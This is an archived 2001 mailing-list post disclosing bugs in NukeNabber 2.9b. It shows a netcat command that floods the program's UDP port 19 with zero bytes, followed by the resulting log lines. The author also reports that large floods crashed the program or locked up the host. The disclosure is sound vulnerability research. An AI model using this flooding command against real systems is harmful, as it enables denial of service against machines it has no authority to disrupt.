Vulnerability Development mailing list archives
Bugs in NukeNabber 2.9b
From: s1gnal_9 <s1gnal_9 () SUNOS COM>
Date: Mon, 12 Feb 2001 12:54:54 +0800
By default Nukenabber listens on port 19(udp) for connections, and gathers information on the source address... If we send binary zero's to it this is what we get *sends binary zeros* nc <target> 19 -u < /dev/zero *this appears on nukenabber* [02/11/2001 23:53:14.310 GMT-0500] Unable to determine source of connection on port 19 (udp). [02/11/2001 23:53:14.310 GMT-0500] [02/11/2001 23:59:15.830 GMT-0500] Unable to determine source of connection on port 19 (udp). [02/11/2001 23:59:15.830 GMT-0500] [02/11/2001 23:59:16.220 GMT-0500] Unable to determine source of connection on port 19 (udp). [02/11/2001 23:59:16.220 GMT-0500] [02/11/2001 23:59:16.600 GMT-0500] Unable to determine source of connection on port 19 (udp). [02/11/2001 23:59:16.600 GMT-0500] As we can see, it cannot see where the data is coming from... In the past I have done tests and sent large amounts of data to this udp port and caused nukenabber to crash and sometimes lock up the system. -- _______________________________________________ Get your free email from http://sunos.com Powered by Instant Portal
Current thread:
- Bugs in NukeNabber 2.9b s1gnal_9 (Feb 11)
- Re: Bugs in NukeNabber 2.9b Daniel S. Otis-Vigil (Feb 14)